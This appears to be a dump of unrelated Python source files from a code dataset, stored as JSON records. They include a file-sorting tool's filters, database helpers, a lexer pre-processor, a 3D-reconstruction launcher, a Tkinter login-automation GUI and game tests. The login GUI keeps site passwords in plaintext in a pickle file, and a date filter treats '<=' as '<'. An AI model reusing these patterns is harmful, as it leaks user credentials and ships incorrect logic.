new_res.append(hashid)\n\n res = new_res\n if len(res) == 0:\n return (True,\n src_partialhashid,\n src_hashid)\n\n if not ARGS.strictcmp:\n return (False, None, None)\n\n # (4) bit-to-bit comparision :\n for hashid in res:\n if not filecmp.cmp(filename, TARGET_DB[hashid][2], shallow=False):\n return (True,\n src_partialhashid,\n src_hashid)\n\n return (False, None, None)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef thefilehastobeadded__filters(filename, _size, date):\n \"\"\"\n thefilehastobeadded__filters()\n ________________________________________________________________________\n\n Return True if a file (filename, _size) can be choosed and added to\n the target directory, according to the filters (stored in FILTERS).\n ________________________________________________________________________\n\n PARAMETERS\n o filename : (str) file's name\n o _size : (int) file's size, in bytes.\n o date : (str) file's date\n\n RETURNED VALUE\n a boolean, giving the expected answer\n \"\"\"\n evalstr = CFG_PARAMETERS[\"source\"][\"eval\"]\n\n for filter_index in FILTERS:\n _filter = FILTERS[filter_index]\n\n evalstr = evalstr.replace(\"filter\"+str(filter_index),\n str(eval_filter_for_a_file(_filter, filename, _size, date)))\n\n try:\n # eval() IS a dangerous function : see the note about CST__AUTHORIZED_EVALCHARS.\n for char in evalstr:\n if char not in CST__AUTHORIZED_EVALCHARS:\n raise KatalError(\"Error in configuration file : \"\n \"trying to compute the \\\"{0}\\\" string; \"\n \"wrong character '{1}'({2}) \"\n \"used in the string to be evaluated. \"\n \"Authorized \"\n \"characters are \"\n \"{3}\".format(evalstr,\n char,\n unicodedata.name(char),\n \"|\"+\"|\".join(CST__AUTHORIZED_EVALCHARS)))\n return eval(evalstr)\n\n except BaseException as exception:\n raise KatalError(\"The eval formula in the config file (\\\"{0}\\\")\"\n \"contains an error. Python message : \\\"{1}\\\"\".format(evalstr,\n exception))\n\n#///////////////////////////////////////////////////////////////////////////////\ndef thefilehastobeadded__filt_date(_filter, date):\n \"\"\"\n thefilehastobeadded__filt_date()\n ________________________________________________________________________\n\n Function used by thefilehastobeadded__filters() : check if the date of a\n file matches the filter given as a parameter.\n ________________________________________________________________________\n\n PARAMETERS\n o _filter : a dict object; see documentation:selection\n o date : (str) file's datestamp (object datetime.datetime)\n\n About the underscore before \"_filter\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n the expected boolean\n \"\"\"\n # beware ! the order matters (<= before <, >= before >)\n if _filter[\"date\"].startswith(\"=\"):\n return date == datetime.strptime(_filter[\"date\"][1:], CST__DTIME_FORMAT)\n elif _filter[\"date\"].startswith(\">=\"):\n return date >= datetime.strptime(_filter[\"date\"][2:], CST__DTIME_FORMAT)\n elif _filter[\"date\"].startswith(\">\"):\n return date > datetime.strptime(_filter[\"date\"][1:], CST__DTIME_FORMAT)\n elif _filter[\"date\"].startswith(\"<=\"):\n return date < datetime.strptime(_filter[\"date\"][2:], CST__DTIME_FORMAT)\n elif _filter[\"date\"].startswith(\"<\"):\n return date < datetime.strptime(_filter[\"date\"][1:], CST__DTIME_FORMAT)\n else:\n raise KatalError(\"Can't analyse a 'date' field : \"+_filter[\"date\"])\n\n#///////////////////////////////////////////////////////////////////////////////\ndef thefilehastobeadded__filt_name(_filter, filename):\n \"\"\"\n thefilehastobeadded__filt_name()\n ________________________________________________________________________\n\n Function used by thefilehastobeadded__filters() : check if the name of a\n file matches the filter given as a parameter.\n ________________________________________________________________________\n\n PARAMETERS\n o _filter : a dict object; see documentation:selection\n o filename : (str) file's name\n\n About the underscore before \"_filter\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n the expected boolean\n \"\"\"\n # nb : _filter[\"name\"] can either be a case sensitive regex, either\n # a case insensitive regex. See the read_filters() function.\n return re.match(_filter[\"name\"], filename) is not None\n\n#///////////////////////////////////////////////////////////////////////////////\ndef thefilehastobeadded__filt_size(_filter, _size):\n \"\"\"\n thefilehastobeadded__filt_size()\n ________________________________________________________________________\n\n Function used by thefilehastobeadded__filters() : check if the size of a\n file matches the filter given as a parameter.\n ________________________________________________________________________\n\n PARAMETERS\n o _filter : a dict object; see documentation:selection\n o _size : (int) file's size\n\n About the underscore before \"_filter\" and \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n the expected boolean\n \"\"\"\n res = False\n\n filter_size = _filter[\"size\"] # a string like \">999\" : see documentation:selection\n\n multiple = 1\n for suffix, _multiple in CST__MULTIPLES:\n if filter_size.endswith(suffix):\n multiple = _multiple\n filter_size = filter_size[:-len(suffix)]\n break\n\n if multiple == 1 and not filter_size[-1].isdigit():\n raise KatalError(\"Can't analyse {0} in the filter. \"\n \"Available multiples are : {1}\".format(filter_size,\n CST__MULTIPLES))\n\n # beware ! the order matters (<= before <, >= before >)\n if filter_size.startswith(\">=\"):\n if _size >= float(filter_size[2:])*multiple:\n res = True\n elif filter_size.startswith(\">\"):\n if _size > float(filter_size[1:])*multiple:\n res = True\n elif filter_size.startswith(\"<=\"):\n if _size <= float(filter_size[2:])*multiple:\n res = True\n elif filter_size.startswith(\"<\"):\n if _size < float(filter_size[1:])*multiple:\n res = True\n elif filter_size.startswith(\"=\"):\n if _size == float(filter_size[1:])*multiple:\n res = True\n else:\n raise KatalError(\"Can't analyse {0} in the filter.\".format(filter_size))\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef welcome(timestamp_start):\n \"\"\"\n welcome()\n ________________________________________________________________________\n\n Display a welcome message with some very broad informations about the\n program. This function may be called before reading the configuration\n file (confer the variable CFG_PARAMETERS).\n\n This function is called before the opening of the log file; hence, all\n the messages are only displayed on console (see welcome_in_logfile\n function)\n ________________________________________________________________________\n\n PARAMETER :\n o timestamp_start : a datetime.datetime object\n\n no RETURNED VALUE\n\n sys.exit(-1) if the config file doesn't exist.\n \"\"\"\n # first welcome message :\n strmsg = (\"=== {0} v.{1} \"\n \"(launched at {2}) ===\").format(__projectname__,\n __version__,\n timestamp_start.strftime(\"%Y-%m-%d %H:%M:%S\"))\n msg(\"=\"*len(strmsg),\n consolecolor=\"white\")\n msg(strmsg,\n consolecolor=\"white\")\n msg(\"=\"*len(strmsg),\n consolecolor=\"white\")\n\n # command line arguments :\n msg(\" = command line arguments : {0}\".format(sys.argv))\n\n # if the target file doesn't exist, it will be created later by main_warmup() :\n if ARGS.new is None and ARGS.downloaddefaultcfg is None:\n msg(\" = target directory given as parameter : \\\"{0}\\\" \"\n \"(path : \\\"{1}\\\")\".format(ARGS.targetpath,\n normpath(ARGS.targetpath)))\n\n if ARGS.configfile is not None:\n msg(\" = expected config file : \\\"{0}\\\" \"\n \"(path : \\\"{1}\\\")\".format(ARGS.configfile,\n normpath(ARGS.configfile)))\n else:\n msg(\" * no config file specified on the command line : \"\n \"let's search a config file...\")\n\n if ARGS.off:\n msg(\" = --off option detected : =\",\n consolecolor=\"cyan\")\n msg(\" = no file will be modified, no directory will be created =\",\n consolecolor=\"cyan\")\n msg(\" = but the corresponding messages will be written in the =\",\n consolecolor=\"cyan\")\n msg(\" = log file. =\",\n consolecolor=\"cyan\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef welcome_in_logfile(timestamp_start):\n \"\"\"\n welcome_in_logfile()\n ________________________________________________________________________\n\n The function writes in the log file a welcome message with some very\n broad informations about the program.\n\n This function has to be called after the opening of the log file.\n This function doesn't write anything on the console.\n\n See welcome() function for more informations since welcome() and\n welcome_in_logfile() do the same job, the first on console, the\n second in the log file.\n ________________________________________________________________________\n\n PARAMETER :\n o timestamp_start : a datetime.datetime object\n\n no RETURNED VALUE\n \"\"\"\n msg(_msg=\"=== {0} v.{1} \"\n \"(launched at {2}) ===\".format(__projectname__,\n __version__,\n timestamp_start.strftime(\"%Y-%m-%d %H:%M:%S\")),\n for_logfile=True,\n for_console=False)\n\n msg(\" = command line arguments : {0}\".format(sys.argv),\n for_logfile=True,\n for_console=False)\n\n msg(\" = target directory given as parameter : \\\"{0}\\\" \"\n \"(path : \\\"{1}\\\")\".format(ARGS.targetpath,\n normpath(ARGS.targetpath)),\n for_logfile=True,\n for_console=False)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef where_is_the_configfile():\n \"\"\"\n where_is_the_configfile()\n ________________________________________________________________________\n\n Return the config file name from ARGS.configfile or from the paths\n returned by possible_paths_to_cfg() .\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE : ( str(filename), (int)error )\n\n +-------------+------------------------------------------\n | error value | meaning |\n +-------------+-----------------------------------------+\n | 0 | no error : a config file has been found.|\n +-------------+-----------------------------------------+\n | 1 | information : can't find a config file |\n | | but the --downloaddefaultcfg was set. |\n +-------------+-----------------------------------------+\n | -1 | error : can't find a config file and the|\n | | --downloaddefaultcfg option was NOT set |\n +-------------+-----------------------------------------+\n | -2 | error : ARGS.configfile doesn't exist. |\n +-------------+-----------------------------------------+\n \"\"\"\n configfile_name = \"\"\n\n msg_please_use_dlcfg = \\\n (\" ! error : can't find any config file !\\n\"\n \" Use the -dlcfg/--downloaddefaultcfg option to download a default config file.\")\n\n if ARGS.configfile is None:\n # no config file given as a parameter, let's guess where it is :\n\n for cfg_path in possible_paths_to_cfg():\n msg(\" * trying to find a config file in \\\"{0}\\\"...\".format(cfg_path))\n\n if os.path.exists(os.path.join(cfg_path, CST__DEFAULT_CONFIGFILE_NAME)):\n msg(\" ... ok a config file has been found, let's try to read it...\")\n configfile_name = os.path.join(cfg_path, CST__DEFAULT_CONFIGFILE_NAME)\n break\n\n if configfile_name != \"\":\n msg(\" * config file name : \\\"{0}\\\" (path : \\\"{1}\\\")\".format(configfile_name,\n normpath(configfile_name)))\n\n else:\n\n if ARGS.downloaddefaultcfg is None:\n msg(msg_please_use_dlcfg,\n consolecolor=\"red\")\n return (\"\", -1)\n else:\n msg(\" ! Can't find any configuration file, but you used the \"\n \"--downloaddefaultcfg option.\")\n return (\"\", 1)\n\n else:\n # A config file has been given as a parameter :\n configfile_name = ARGS.configfile\n\n msg(\" * config file given as a parameter : \\\"{0}\\\" \"\n \"(path : \\\"{1}\\\"\".format(configfile_name,\n normpath(configfile_name)))\n\n if not os.path.exists(normpath(configfile_name)) and ARGS.new is None:\n msg(\" ! The config file \\\"{0}\\\" (path : \\\"{1}\\\") \"\n \"doesn't exist. \".format(configfile_name,\n normpath(configfile_name)),\n consolecolor=\"red\")\n\n if ARGS.downloaddefaultcfg is None:\n msg(msg_please_use_dlcfg,\n consolecolor=\"red\")\n\n return (\"\", -2)\n\n return (configfile_name, 0)\n\n#///////////////////////////////////////////////////////////////////////////////\n#/////////////////////////////// STARTING POINT ////////////////////////////////\n#///////////////////////////////////////////////////////////////////////////////\nif __name__ == '__main__':\n main()\n\n","repo_name":"suizokukan/katal","sub_path":"katal/katal.py","file_name":"katal.py","file_ext":"py","file_size_in_byte":147345,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"18256320620","text":"from .query import * \nfrom ..util import * \nfrom ..client import * \nfrom ..org import * \n\nfrom typing import Optional, Any \n\n__all__ = [\n 'create_scholar', \n]\n\n\ndef create_scholar(scholar_entry: dict[str, Any],\n check_exist: bool = True) -> dict[str, Any]:\n try:\n assert 'id' not in scholar_entry \n scholar_name = scholar_entry['name'] = scholar_entry['name'].strip() \n scholar_org = scholar_entry['org_name'] = translate_org_name_to_zh(scholar_entry['org_name'].strip()) \n except Exception:\n return dict(\n error = dict(\n type = '学者信息缺少姓名或机构', \n detail = scholar_entry, \n ), \n scholar_id = None, \n scholar_name = None, \n scholar_org = None, \n exist = None,\n create = False,\n update = False, \n ) \n \n if check_exist:\n exist_scholar_ids = query_scholar_id_by_name_org(\n scholar_name = scholar_name, \n scholar_org = scholar_org, \n )\n \n if exist_scholar_ids:\n exist_scholar_id = exist_scholar_ids.pop()\n \n exist_scholar_entry = query_scholar_by_id(exist_scholar_id)\n assert exist_scholar_entry \n \n return dict(\n error = None, \n scholar_id = exist_scholar_id, \n scholar_name = exist_scholar_entry['name'], \n scholar_org = exist_scholar_entry['org_name'], \n exist = True, \n create = False, \n update = False, \n )\n \n janusgraph_client = get_janusgraph_client()\n mysql_client = get_mysql_client()\n \n scholar_id = janusgraph_client.create_vertex(\n v_label = LABEL_SCHOLAR,\n prop_dict = {\n PROP_NAME: scholar_name, \n PROP_ORG: scholar_org,\n },\n )\n \n table = mysql_client.get_table('dump', 'scholar_basic')\n\n scholar_entry['id'] = scholar_id\n \n table.insert_one(scholar_entry)\n \n return dict(\n error = None, \n scholar_id = scholar_id, \n scholar_name = scholar_name, \n scholar_org = scholar_org, \n exist = False, \n create = True, \n update = True, \n )\n","repo_name":"hcmdgh/Happy-Zhitu","sub_path":"core/scholar/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"72940711451","text":"import re\nfrom utils.constant import *\n\nsource_file = './src/source.txt'\n\ndef _pre_processing() -> str:\n code = ''\n \n with open(source_file, 'r') as f:\n lines = f.readlines()\n\n # Remove leading and trailing spaces && split each line\n for line in lines:\n code += line.strip() + ' '\n \n # Remove commands\n code = re.sub(r'/\\*(.*?)\\*/|//.*', r'', code)\n \n # Process backslashes\n for i, c in enumerate(code):\n if c == '\\\\':\n assert i+2 < len(code)\n code = code[:i] + code[i+2:]\n \n # Split words by spaces according to operators\n for _o in O[:10]:\n if _o in code:\n code = code.replace(_o, f' {_o} ')\n \n # Split words by spaces according to delimiters\n for de in D:\n code = code.replace(de, f' {de} ')\n\n # Split words by spaces according to operators\n # for i in range(3):\n # code = code.replace(O[i], f' {O[i]} ')\n\n # Remove extra spaces before and after colons\n code = re.sub(r'\\s*:\\s*', ': ', code)\n \n code = code.split()\n \n new_code = []\n for s in code:\n if s not in O[:10]:\n for c in s:\n if c in O[10:]:\n s = s.replace(c, f' {c} ')\n new_code.append(s)\n else:\n new_code.append(s)\n code = ' '.join(new_code)\n \n return code\n","repo_name":"sujingbo0217/NCUT","sub_path":"Compiler-design-lab/lab1/utils/pre_processing.py","file_name":"pre_processing.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"25004868790","text":"import random\n\n\ndef bubbleSort(list):\n\n\n for i in range(len(list)):\n for j in range(i+1,len(list)):\n if list[i]>list[j]:\n list[i],list[j] = list[j],list[i]\n\n return list\nmylist = random.sample(range(1, 40), 10)\n\nprint(mylist)\n\nprint(bubbleSort(mylist))","repo_name":"jaychavhan/Python-Datastructures","sub_path":"BubbleSort.py","file_name":"BubbleSort.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71316437532","text":"import os\ndirectory = os.path.dirname(os.path.abspath(__file__))\nos.chdir(directory)\nimport sys\nsys.path.insert(1, directory)\nsys.path.insert(1, directory + '\\\\module')\n\nimport future_fstrings\nfuture_fstrings.register()\n\n\nif __name__ == '__main__':\n import argparse\n from define import ResolveStep\n from flows import flow_dict\n from executor import LocalResolver, HythonResolver, PythonResolver\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-e', '--executor', type=str,\n help='Executor for resolve, default: local',\n choices=['local', 'hython', 'python'],\n default='local'\n )\n parser.add_argument(\n '-f', '--frame', type=int, help='Frame number to resolve'\n )\n parser.add_argument(\n '-a', '--alicevision_path', type=str,\n help='alicevision program path, default: c:/alicevision/',\n default='c:/alicevision/'\n )\n parser.add_argument(\n '-s', '--shot_path', type=str,\n help='recorded shot path'\n )\n parser.add_argument(\n '-j', '--job_path', type=str,\n help='resolve job path'\n )\n parser.add_argument(\n '-aruco', '--aruco_path', type=str,\n help='aruco calibration program path, default: //storage03/cache/4DREC/aruco/',\n default='Q:/app/aruco/'\n )\n parser.add_argument(\n '-c', '--cali_path', type=str,\n help='calibration reference path',\n default=None\n )\n parser.add_argument(\n '-r', '--resolve_steps', type=str, nargs='*',\n help='Resolve steps to process',\n choices=['feature', 'calibrate', 'sfm', 'depth', 'mesh'],\n default=['feature', 'calibrate', 'sfm', 'depth', 'mesh']\n )\n parser.add_argument(\n '-ig', '--ignore_flows', type=str, nargs='*',\n help='flows to ignore from steps',\n choices=flow_dict.keys(),\n default=[]\n )\n parser.add_argument(\n '-so', '--solo_flows', type=str, nargs='*',\n help='flows to solo from steps',\n choices=flow_dict.keys(),\n default=[]\n )\n parser.add_argument(\n '-hou', '--hython_flow', type=str,\n help='flow to process with hython',\n choices=flow_dict.keys(),\n )\n parser.add_argument(\n '-pyt', '--python_flow', type=str,\n help='flow to process with python',\n choices=flow_dict.keys(),\n )\n parser.add_argument(\n '-st', '--setting', type=str,\n help='setting in json format',\n )\n\n args = parser.parse_args()\n\n args.resolve_steps = [ResolveStep(s) for s in args.resolve_steps]\n args.ignore_flows = [flow_dict[f] for f in args.ignore_flows]\n args.solo_flows = [flow_dict[f] for f in args.solo_flows]\n\n if args.cali_path == 'None' or args.cali_path == '':\n args.cali_path = None\n\n for attr in ('shot_path', 'job_path', 'cali_path', 'alicevision_path'):\n path = getattr(args, attr)\n\n if path is None:\n continue\n\n if not path.endswith('/'):\n setattr(args, attr, path + '/')\n\n if args.executor == 'local':\n solver = LocalResolver\n elif args.executor == 'hython':\n solver = HythonResolver\n elif args.executor == 'python':\n solver = PythonResolver\n\n kwargs = {}\n for name in solver.__init__.__code__.co_varnames:\n if name == 'self':\n continue\n\n attr = getattr(args, name)\n if attr is None and name != 'cali_path':\n raise ValueError(\"[{}] must be set\".format(name))\n\n kwargs[name] = attr\n\n solver(**kwargs)\n","repo_name":"MoonShineVFX/4drec","sub_path":"src/resolve/launch.py","file_name":"launch.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"45816384662","text":"from tkinter import *\nimport pickle\nfrom tkinter.ttk import Style\nfrom Sites import open_sites\nimport os\nmain_window=Tk()\n\nAUTH = False\nNEW_USR = False\nUSER = 'Yash'\n\npath_to_users = ''\n\nusernames={}\nusers_det={}\n\ndef setAuth(login_window):\n global AUTH\n AUTH=True\n login_window.destroy()\ndef setUSER(val):\n global USER\n USER=val\ndef add_user(name_,details_,wind,id_cf,pwd_cf,id_cc,pwd_cc,id_spoj,pwd_spoj):\n global NEW_USR\n global USER\n global path_to_users\n \n wind.destroy()\n NEW_USR = True\n USER = name_\n \n details_[\"codeforces\"]=str(id_cf.get()+' '+pwd_cf.get())\n details_[\"codechef\"]=str(id_cc.get()+' '+pwd_cc.get())\n details_[\"spoj\"]=str(id_spoj.get()+' '+pwd_spoj.get())\n \n users_det[name_]=details_\n with open(str(path_to_users+\"/users.pickle\"),\"wb\") as fw:\n pickle.dump(users_det,fw)\n print('User added')\ndef login_fun():\n global AUTH\n global USER\n global main_window\n main_window.destroy()\n login_window=Tk()\n login_window.title('Login')\n login_window.geometry('300x100')\n Label(login_window, text=\"Select User:\").grid(row=1,column=1,padx=(10,10),pady=(10,10))\n # Label(login_window, text=\"Select User:\").pack(side=\"left\",padx=(10,10),pady=(10,10))\n tkvar = StringVar(login_window)\n tkvar.set('Yash')\n popupMenu = OptionMenu(login_window, tkvar, *usernames,command=setUSER).grid(row=1,column=2,padx=(10,20),pady=(10,10))\n # popupMenu = OptionMenu(login_window, tkvar, *usernames).pack(side=\"left\",padx=(10,20),pady=(10,10))\n auth_button = Button(login_window,text=\"Authenticate!\",command=lambda:setAuth(login_window)).grid(row=2,column=1,padx=(100,30),pady=(10,10))\n # auth_button = Button(login_window,text=\"Authenticate!\",command=setAuth).pack(padx=(100,30),pady=(10,10),expand=True)\n if AUTH:\n return\ndef signup_fun():\n global main_window\n main_window.destroy()\n signup_window=Tk()\n signup_window.title('Sign Up')\n signup_window.geometry('300x100')\n Label(signup_window, text=\"Name:\").grid(row=2,column=1,padx=(60,0),pady=(10,0))\n n11=StringVar()\n nam=Entry(signup_window,textvariable=n11).grid(row=2,column=2,pady=(10,0))\n enter=Button(signup_window,text=\"Enter\",command=lambda:get_signup_details(signup_window,n11),width=10).grid(row=3,column=2,padx=(15,20),pady=(10,10))\ndef get_signup_details(signup_window,usr):\n if usr.get().lower() in usernames:\n print('User exists')\n return\n signup_window.destroy()\n det_window=Tk()\n det_window.title('Data Entry')\n det_window.geometry('500x500')\n \n id_cf=StringVar()\n pwd_cf=StringVar()\n id_cc=StringVar()\n pwd_cc=StringVar()\n id_spoj=StringVar()\n pwd_spoj=StringVar()\n details_={}\n #Taking CodeForces\n Label(det_window, text=\"CF Id:\").grid(row=1,column=1,padx=(60,10),pady=(10,10))\n entrycfi=Entry(det_window,textvariable=id_cf).grid(row=1,column=2,padx=(60,10),pady=(10,10))\n Label(det_window, text=\"CF Pwd:\").grid(row=2,column=1,padx=(60,10),pady=(10,10))\n entrycfp=Entry(det_window,textvariable=pwd_cf).grid(row=2,column=2,padx=(60,10),pady=(10,10))\n # details_[\"codeforces\"]=id_cf.get()+' '+pwd_cf.get()\n #Taking CodeChef\n Label(det_window, text=\"CC Id:\").grid(row=3,column=1,padx=(60,10),pady=(10,10))\n entrycci=Entry(det_window,textvariable=id_cc).grid(row=3,column=2,padx=(60,10),pady=(10,10))\n Label(det_window, text=\"CC Pwd:\").grid(row=4,column=1,padx=(60,10),pady=(10,10))\n entryccp=Entry(det_window,textvariable=pwd_cc).grid(row=4,column=2,padx=(60,10),pady=(10,10))\n # details_[\"codechef\"]=id_cc.get()+' '+pwd_cc.get()\n #Taking SPOJ\n Label(det_window, text=\"SPOJ Id:\").grid(row=5,column=1,padx=(60,10),pady=(10,10))\n entryspoji=Entry(det_window,textvariable=id_spoj).grid(row=5,column=2,padx=(60,10),pady=(10,10))\n Label(det_window, text=\"SPOJ Pwd:\").grid(row=6,column=1,padx=(60,10),pady=(10,10))\n entryspojp=Entry(det_window,textvariable=pwd_spoj).grid(row=6,column=2,padx=(60,10),pady=(10,10))\n # details_[\"spoj\"]=id_spoj.get()+' '+pwd_spoj.get()\n\n sbt=Button(det_window,text=\"Submit\",command=lambda:add_user(name_=usr.get(),details_=details_,wind=det_window,id_cf=id_cf,pwd_cf=pwd_cf,id_cc=id_cc,pwd_cc=pwd_cc,id_spoj=id_spoj,pwd_spoj=pwd_spoj),width=15).grid(row=9,column=2,padx=(40,0),pady=(20,0))\n\ndef setup():\n global usernames\n global USER\n global users_det\n global path_to_users\n path_to_users = os.path.join(os.path.dirname(os.path.abspath(__file__)),'..','users')\n with open(str(path_to_users+'/users.pickle'),\"rb\") as fr:\n users_det=pickle.load(fr)\n usernames=dict.fromkeys(users_det)\n \n main_window.title(\"Login automation\")\n # login_window.style=Style()\n # login_window.style.theme_use(\"default\")\n \n # login_button=Button(main_window,text=\"Login\",command=login_fun,width=15,height=2).grid(row=2,column=2,sticky=S,padx=(30,15),pady=(20,20))\n \n # signup_button=Button(main_window,text=\"SignUp\",command=signup_fun,width=15,height=2).grid(row=2,column=5,sticky=S,padx=(15,30),pady=(20,20))\n login_button=Button(main_window,text=\"Login\",command=login_fun,width=15,height=2).pack(side=\"left\",padx=(30,10),pady=10)\n \n signup_button=Button(main_window,text=\"SignUp\",command=signup_fun,width=15,height=2).pack(side=\"right\",pady=10,padx=(10,30))\n\n main_window.geometry(\"320x90\")\n main_window.mainloop()\n\n return AUTH, NEW_USR, USER\n # if AUTH:\n # return True,USER\n # else:\n # return False,USER\ndef isAuth():\n return setup()\n# setup()\n\ndef show_failed_status(what):\n failed_window = Tk()\n failed_window.title('Status')\n failed_window.geometry('200x80')\n Label(failed_window,text=str('Sorry! '+what+' Failed')).pack(padx=(10,10),pady=(10,5))\n closebtn = Button(failed_window,text='Close',command=failed_window.destroy,width=12).pack(padx=(10,10),pady=(5,10))\n failed_window.mainloop()\n\ndef show_success_status(what):\n success_window = Tk()\n success_window.title('Status')\n success_window.geometry('200x80')\n Label(success_window,text=str('Congrats! '+what+' Successful')).pack(padx=(10,10),pady=(10,5))\n closebtn = Button(success_window,text='Close',command=success_window.destroy,width=12).pack(padx=(10,10),pady=(5,10))\n success_window.mainloop()\n\ndef show_sites(usrname, det):\n # site_window = Tk()\n # site_window.title('Sites')\n # site_window.geometry('500x300')\n # namelbl = Label(site_window,text=usrname).grid(row=1,column=1,padx=(10,10),pady=(10,10))\n # Button(site_window,text='Logout',command=site_window.destroy).grid(row=1,column=2,padx=(30,10),pady=(10,10))\n # site_window.mainloop()\n path_to_logo = os.path.dirname(os.path.abspath(__file__))\n site_window = Tk()\n site_window.title('Sites')\n site_window.geometry('400x140')\n namelbl = Label(site_window, text=usrname).grid(row=0, column=0, padx=(0, 0), pady=(10, 10))\n Button(site_window, text='Logout', command=site_window.destroy).grid(row=0, column=3, padx=(0, 0), pady=(10, 10))\n # codeforces\n photo = PhotoImage(file=str(path_to_logo+'/codeforces.png'))\n photoimage = photo.subsample(3, 3)\n Button(site_window, text='CodeForces', image=photoimage, compound=LEFT,command=lambda:open_sites.openCF(det['codeforces'])).grid(row=2, column=0, padx=(0, 0),pady=(10, 10))\n # codeChef\n photo1 = PhotoImage(file=str(path_to_logo+'/logocodechef.png'))\n photoimage1 = photo1.subsample(3, 3)\n Button(site_window, text=\"Codechef\", image=photoimage1, padx=8, compound=LEFT,command=lambda:open_sites.openCC(det['codechef'])).grid(row=2, column=1, padx=(0, 0),pady=(10, 10))\n # spoj\n photo3 = PhotoImage(file=str(path_to_logo+'/logospoj.png'))\n photoimage3 = photo3.subsample(3, 3)\n Button(site_window, text=\"SPOJ\", image=photoimage3, padx=15, compound=LEFT,command=lambda:open_sites.openSPOJ(det['spoj'])).grid(row=2, column=3, padx=(0, 0),pady=(10, 10))\n site_window.mainloop()","repo_name":"yash-brahmkshatriya/Login-Automation","sub_path":"GUIx/window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70917024093","text":"import os\nfrom setuptools import setup, find_packages\n\nbase_dir = os.path.dirname(os.path.abspath(__file__))\nabout = {}\nwith open(os.path.join(base_dir, 'armonaut', '__about__.py')) as f:\n exec(f.read(), about)\n\nsetup(\n name=about['__title__'],\n version=about['__version__'],\n author=about['__author__'],\n author_email=about['__email__'],\n license=about['__license__'],\n packages=find_packages('.', exclude=['tests', 'venv']),\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3 :: Only',\n 'Topic :: Software Development :: Build Tools',\n 'Topic :: Software Development :: Quality Assurance',\n 'Topic :: Software Development :: Testing'\n ]\n)\n","repo_name":"GibbsB/Armonaut","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34596114898","text":"# IDE: PyCharm\n# Project: games\n# Path: tests/vector\n# File: test_intersection.py\n# Contact: Semyon Mamonov \n# Created by ox23 at 2022-06-20 (y-m-d) 9:34 AM\nfrom unittest import TestCase\n\nfrom games.board.axis import AsciiAxis, Int1Axis\nfrom games.board.board import Board, ConsoleRenderer\nfrom games.items.items import XItem\nfrom games.tictactoe.vector import TicTacToeVectorProvider\nfrom games.vector.intersection import IntersectionPoint, IntersectionPoints\nfrom tests.utils import _catch_stdout\n\n\nclass TestIntersectionPoint(TestCase):\n\n def setUp(self) -> None:\n # abcde\n # 1#####\n # 2#####\n # 3#####\n # 4#####\n self.board = Board(AsciiAxis(5), Int1Axis(4))\n rstr = \" abcde\\n1#####\\n2#####\\n3#####\\n4#####\\n\"\n self.assertEqual(rstr, _catch_stdout(ConsoleRenderer(self.board).render))\n self.provider = TicTacToeVectorProvider(self.board, XItem.id, 1)\n\n def _init_intersection_point(self):\n self.intersection_point = IntersectionPoint(('a', 1))\n for v in self.provider.provide():\n self.intersection_point.add(v)\n\n def test_clear(self):\n self._init_intersection_point()\n self.assertEqual(4, len(self.intersection_point))\n self.intersection_point.clear()\n self.assertEqual(0, len(self.intersection_point))\n\n def test_add(self):\n p = ('c', 2)\n ip = IntersectionPoint(p)\n tres = []\n for v in self.provider.provide():\n ip.add(v)\n if p in v:\n tres.append(v)\n self.assertListEqual(tres, ip.vectors)\n\n def test_length(self):\n self._init_intersection_point()\n self.assertEqual(4, len(self.intersection_point))\n\n\nclass TestIntersectionPoints(TestCase):\n\n def setUp(self) -> None:\n tobj = TestIntersectionPoint()\n tobj._callSetUp()\n self.provider = tobj.provider\n\n def test_get_largest_list(self):\n ips = IntersectionPoints.create(self.provider)\n self.assertTupleEqual((('c', 2), ('c', 3)), tuple(ip.point for ip in ips.get_largest_list()))\n\n def test_get_largest(self):\n ips = IntersectionPoints.create(self.provider)\n self.assertIn(ips.get_largest().point, (('c', 2), ('c', 3)))\n\n def test_parse_vectors(self):\n # abcde\n # 1#####\n # 2#####\n # 3#####\n # 4#####\n\n ips = IntersectionPoints.create(self.provider)\n self.assertEqual(20, len(ips.points))\n self.assertEqual(4, len(ips.points['a', 1]))\n self.assertEqual(4, len(ips.points['a', 4]))\n self.assertEqual(4, 